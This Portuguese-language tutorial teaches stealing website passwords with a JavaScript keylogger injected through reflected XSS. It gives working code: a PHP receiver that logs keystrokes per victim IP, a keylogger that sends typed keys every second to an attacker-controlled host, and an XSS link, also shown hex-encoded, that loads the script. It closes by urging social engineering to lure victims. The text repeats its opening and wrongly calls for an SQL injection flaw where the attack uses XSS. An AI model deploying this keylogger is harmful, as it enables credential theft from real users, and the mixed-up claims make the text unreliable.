Vou mostrar aqui uma técnica simples de como se obter senhas utilizando-se de um keylogger escrito em Javascript, injetado por XSS Reflected.
Tudo o que nós vamos precisar é de uma conta em um servidor, podendo ser gratuito, como o website.org ou 000WebHost.
Precisamos também que a página que pretendemos pegar as senhas seja vulnerável a SQL Injection. Eu já vi bastante em exemplos como:
Lembrando que não necessariamente a página de login deve ser vulnerável. Se a vulnerabilidade estiver em outros arquivos, você pode criar um formulário de login falso usando Javascript (usando document.write() ou adicionando conteúdo no innerHtml).
Precisaremos também de um pouco de PHP e Javascript, e de bastante engenharia social.
Vulnerabilidade confirmada e servidor criado, vamos iniciar a programação do nosso keylogger.
Mas antes, vamos criar nosso arquivo "keylogger.php" e enviar para o servidor.
Tudo certo? Agora vamos criar nosso "keylogger.js".
-+-
Certo, o que fazemos agora?
Vamos utilizar a vulnerabilidade XSS para injetar nosso código Javascript:
Podemos também converter nosso código <script> para hexadecimal:
(a conversão foi feita usando o complemento HackBar do Mozilla Firefox)
Agora só nos resta usar um pouco de engenharia social e fazer alguém entrar em nosso link preparado.
Muito simples, não?
Tudo o que nós vamos precisar é de uma conta em um servidor, podendo ser gratuito, como o website.org ou 000WebHost.
Precisamos também que a página que pretendemos pegar as senhas seja vulnerável a SQL Injection. Eu já vi bastante em exemplos como:
Código:
http://site/login.php?erro=Login ou senha incorretos. Tente novamente
Precisaremos também de um pouco de PHP e Javascript, e de bastante engenharia social.
Vulnerabilidade confirmada e servidor criado, vamos iniciar a programação do nosso keylogger.
Mas antes, vamos criar nosso arquivo "keylogger.php" e enviar para o servidor.
Código PHP:
<?php
$teclas = $_SERVER['QUERY_STRING']; // pegamos a lista de teclas enviadas pelo keylogger
if(empty($teclas)) die(); // pare aqui (morra) se não for enviada tecla alguma
$handler = fopen("log-".$_SERVER['REMOTE_ADDR'].".txt", "a+"); // abrimos o arquivo "log-[ip do usuário].txt" para edição, adicionando novo conteúdo ao final do mesmo (a+)
fwrite($handler, $teclas); // escrevemos as novas teclas no arquivo, e...
fclose($handler); // fechamos o arquivo
Código:
teclas = ""; // iniciamos uma variável vazia document.onKeypress = function(e) { // essa função será chamada quando uma tecla for digitada evento = window.event?event:e; // obtemos o evento, e... tecla = String.fromCharCode(evento.keyCode?evento.keyCode:evento.charCode); // ...obtemos a tecla digitada neste evento teclas += tecla; // adicionamos a tecla digitada à lista de teclas digitadas } window.setInterval(function() { // uma outra função será chamada a cada 1000 milissegundos (1 segundo) new Image().src = "http://seusite/keylogger.php?" + teclas; // é criada uma nova imagem, falsa, com o destino para nosso script PHP. Note que a lista de teclas digitadas no último segundo é enviada via GET/QUERY STRING teclas = ""; // limpamos a variável que guarda lista de teclas digitadas }, 1000); // definimos o intervalo de execucao da funcao para 1 segundo
Certo, o que fazemos agora?
Vamos utilizar a vulnerabilidade XSS para injetar nosso código Javascript:
Código:
http://site_alvo/login.php?error=<script src="http://seu_site/keylogger.js"></script>
Código:
http://site_alvo/login.php?error=3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%73%65%75%5f%73%69%74%65%2f%6b%65%79%6c%6f%67%67%65%72%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e
Agora só nos resta usar um pouco de engenharia social e fazer alguém entrar em nosso link preparado.
Muito simples, não?
Comment